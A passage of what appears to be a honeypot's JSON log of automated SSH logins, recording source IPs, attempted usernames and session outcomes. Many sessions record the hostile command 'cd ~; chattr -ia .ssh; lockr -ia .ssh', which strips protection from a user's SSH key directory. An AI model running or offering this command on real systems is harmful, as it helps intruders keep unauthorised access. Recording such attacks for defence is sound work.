  "src_ip": "129.121.114.225",
  "src_port": 51582,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 69,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:24:40.906880+00:00",
  "ended_at": "2026-08-26T22:24:43.107634+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "acc363e9-4417-410b-a5c5-ac61311c00d0",
  "name": "marbled-crimson-bunting",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 51604,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:24:21.668915+00:00",
  "ended_at": "2026-08-26T22:24:22.636550+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b029d466-05dd-4e64-a566-40a04cebf238",
  "name": "restless-hushed-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 51598,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:24:20.046861+00:00",
  "ended_at": "2026-08-26T22:24:21.536459+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40fa65fd-fcab-4975-9d61-7c84f4d67b80",
  "name": "diligent-burly-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 52690,
  "username": "yx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:22:35.264741+00:00",
  "ended_at": "2026-08-26T22:22:36.950695+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "6cb79515-7ef7-4683-9126-9d5c985e18b5",
  "name": "jolly-meadow-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 52708,
  "username": "yx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:22:16.137838+00:00",
  "ended_at": "2026-08-26T22:22:17.224319+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c640f96-8047-4eff-845c-507c99a91adf",
  "name": "forlorn-chilly-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 52700,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:22:14.209135+00:00",
  "ended_at": "2026-08-26T22:22:16.003510+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a72392cf-d7c3-496c-aa59-bdc47134a553",
  "name": "prairie-lunar-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 44288,
  "username": "maman",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:20:28.578573+00:00",
  "ended_at": "2026-08-26T22:20:30.099169+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2252
 },
 {
  "id": "ccee4162-9c84-4b90-9d60-1280741216e2",
  "name": "ruddy-drifting-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 44302,
  "username": "maman",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:20:08.066596+00:00",
  "ended_at": "2026-08-26T22:20:09.288859+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "271fb675-f710-4d0f-b54b-aa8ee452f809",
  "name": "amiable-lively-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 44298,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:20:06.379696+00:00",
  "ended_at": "2026-08-26T22:20:07.932532+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c8627d04-62b1-494d-82ff-b6cc011a3e3a",
  "name": "lawful-woven-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 54148,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:18:25.699676+00:00",
  "ended_at": "2026-08-26T22:18:27.811255+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "f8c9dd3b-70e4-4cb8-b648-0b540fae8b8b",
  "name": "graceful-dappled-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 43182,
  "username": "monitor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:18:14.945096+00:00",
  "ended_at": "2026-08-26T22:22:15.212956+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "abd4857c-1601-42f2-8662-50652b484fcf",
  "name": "solar-chilly-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 54168,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:18:05.742126+00:00",
  "ended_at": "2026-08-26T22:18:06.343189+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9b71dab3-3d46-47fd-90bf-be78e096d44c",
  "name": "hollow-upland-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 54152,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:18:04.409616+00:00",
  "ended_at": "2026-08-26T22:18:05.604638+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e9aaf29-e88c-4627-8177-0a58996b1ba1",
  "name": "blunt-upland-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 60036,
  "username": "temp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:16:34.039368+00:00",
  "ended_at": "2026-08-26T22:16:35.749635+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "4c021f80-200e-457f-89db-6b7bd8f9c6fa",
  "name": "dappled-valiant-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 60310,
  "username": "temp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:16:12.153664+00:00",
  "ended_at": "2026-08-26T22:16:13.078633+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c720a409-6ab0-4392-bbc0-a8df391975a4",
  "name": "crimson-watchful-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 60044,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:16:10.490093+00:00",
  "ended_at": "2026-08-26T22:16:12.016349+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bbaa9db9-1970-4b14-91f0-6996269f1d81",
  "name": "faded-daring-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 35484,
  "username": "sammy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:15:03.022039+00:00",
  "ended_at": "2026-08-26T22:19:03.455256+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c80ea31-a5d7-47d8-9d64-fa955b5c95c6",
  "name": "glassy-steady-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 34022,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:14:40.341165+00:00",
  "ended_at": "2026-08-26T22:14:41.446011+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "6fe7ac7a-587d-4255-ace9-fc2b75f61720",
  "name": "placid-primal-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 34044,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:14:16.533469+00:00",
  "ended_at": "2026-08-26T22:14:17.586794+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38c8a34a-7530-4a91-a14e-d38fc6260d5e",
  "name": "noble-weathered-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 34034,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:14:14.541645+00:00",
  "ended_at": "2026-08-26T22:14:16.401488+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90c527d1-48c6-4a7e-b55d-45fe617f00d2",
  "name": "twilight-salty-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 52062,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:12:36.684422+00:00",
  "ended_at": "2026-08-26T22:12:38.672663+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "efdc1219-3516-48ab-a614-25ea7233f309",
  "name": "restless-zealous-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 52084,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:12:14.601604+00:00",
  "ended_at": "2026-08-26T22:12:16.295217+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b611a7a3-43cd-491a-ba76-c63eb88aac01",
  "name": "proud-somber-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 52070,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:12:13.296733+00:00",
  "ended_at": "2026-08-26T22:12:14.469341+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a01ebf23-53e2-419a-b24c-1b9744d6ebd1",
  "name": "graceful-ivory-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 50344,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:11:50.194529+00:00",
  "ended_at": "2026-08-26T22:15:50.573940+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb42f020-30f3-48f4-ba69-533aac8acef4",
  "name": "dapper-frosty-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 37444,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:10:41.273002+00:00",
  "ended_at": "2026-08-26T22:10:42.385536+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b1a72d1a-0557-4c90-9bf9-729c75fd2017",
  "name": "vernal-shaded-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 37464,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:10:20.378540+00:00",
  "ended_at": "2026-08-26T22:10:21.636346+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b898b316-9ffb-43d9-9212-1b75509d97a5",
  "name": "brave-rapid-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 37448,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:10:18.929201+00:00",
  "ended_at": "2026-08-26T22:10:20.245889+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6d235e27-e165-46dc-8ac2-95f6bf835fed",
  "name": "sterling-craggy-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 37062,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:08:43.418751+00:00",
  "ended_at": "2026-08-26T22:08:44.723626+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "ee9c165a-8941-4fd6-b5b2-2dbcae3a4df2",
  "name": "daring-tangled-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 45582,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:08:34.614534+00:00",
  "ended_at": "2026-08-26T22:12:34.628411+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "54495723-f0c6-41df-aaf6-2b74082b8eb5",
  "name": "crisp-merry-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 39852,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:08:23.671409+00:00",
  "ended_at": "2026-08-26T22:08:25.373133+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08d33c4f-dd8e-4e23-b3ba-cf8ac0a121b5",
  "name": "tawny-vivid-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 37078,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:08:21.880312+00:00",
  "ended_at": "2026-08-26T22:08:23.532708+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b24c531-37d5-4a03-b704-e7a0bc25d543",
  "name": "loyal-hidden-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 56834,
  "username": "incoming",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:06:41.442149+00:00",
  "ended_at": "2026-08-26T22:06:42.304238+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "7a61c7da-d8e9-4562-9217-5e4ae91c20b5",
  "name": "gritty-twilight-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 56856,
  "username": "incoming",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:06:18.248134+00:00",
  "ended_at": "2026-08-26T22:06:19.074748+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca9794d4-2c82-443a-a361-e5c9d7afecee",
  "name": "thawing-proud-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 56850,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:06:16.590772+00:00",
  "ended_at": "2026-08-26T22:06:18.106593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2f77ec0-995d-4b6b-9955-7f21baf5aac5",
  "name": "frosty-candid-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 49598,
  "username": "youssef",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:05:11.738257+00:00",
  "ended_at": "2026-08-26T22:09:12.198918+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c57d2cd2-02dc-4248-becb-7de5688deb67",
  "name": "slender-sleepy-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 55168,
  "username": "scott",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:04:41.876826+00:00",
  "ended_at": "2026-08-26T22:04:43.752675+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "60d9c01d-c11f-41c0-85d6-06daaa6287e7",
  "name": "feathered-regal-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55192,
  "username": "scott",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:04:18.645853+00:00",
  "ended_at": "2026-08-26T22:04:19.955178+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "094b2662-649a-4f51-ae54-28e454b387c8",
  "name": "whispering-distant-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55180,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:04:16.830875+00:00",
  "ended_at": "2026-08-26T22:04:18.510263+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e0ea237-f358-4f21-9d07-7015e4e5e4d6",
  "name": "gallant-icy-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 45762,
  "username": "n8n",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:02:44.947266+00:00",
  "ended_at": "2026-08-26T22:02:46.144310+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "50478f64-260a-44b6-b7c4-b8eacd2d0806",
  "name": "sterling-crisp-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 47580,
  "username": "n8n",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:02:23.132418+00:00",
  "ended_at": "2026-08-26T22:02:23.646622+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9efcfa57-97a7-4e18-8637-516e85d49879",
  "name": "bold-jolly-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 45778,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:02:21.335670+00:00",
  "ended_at": "2026-08-26T22:02:22.981589+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "740ffb60-ebd7-4e87-9a14-48613c358b95",
  "name": "regal-cunning-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 38430,
  "username": "petr",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:01:53.517925+00:00",
  "ended_at": "2026-08-26T22:05:53.988951+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5c3a7c5e-09ab-45fb-96f1-72a11c840af0",
  "name": "lively-diligent-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 50540,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:00:42.826853+00:00",
  "ended_at": "2026-08-26T22:00:44.379794+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "74eca659-8e4f-4deb-8bcf-4ed4973727cc",
  "name": "primal-pewter-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 50566,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:00:23.713800+00:00",
  "ended_at": "2026-08-26T22:00:24.479875+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2bbd8cc8-d9d6-4842-a8b8-cb3db2b273eb",
  "name": "nautical-early-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 50554,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:00:22.657355+00:00",
  "ended_at": "2026-08-26T22:00:23.549522+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "497be21b-7be1-47e8-bbc7-464eedc2053d",
  "name": "gnarled-upland-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 38984,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:58:49.387001+00:00",
  "ended_at": "2026-08-26T21:58:50.374846+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "2de686c2-4ba6-44e2-9864-9a88fbd3dc2f",
  "name": "painted-hollow-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 38992,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:58:26.633252+00:00",
  "ended_at": "2026-08-26T21:58:27.930598+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "50a46f0e-efe6-4461-8890-0f9184322f20",
  "name": "faded-gritty-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 38990,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:58:25.387925+00:00",
  "ended_at": "2026-08-26T21:58:26.497965+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "11aa2cbd-fe21-46e3-b0d6-344145a643ec",
  "name": "marine-tranquil-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 55188,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 70,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:56:44.073129+00:00",
  "ended_at": "2026-08-26T21:56:45.527588+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2243
 },
 {
  "id": "00dc2d63-40c1-4a84-bd05-61eab1b9c0ea",
  "name": "alpine-freckled-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 60294,
  "username": "admin",
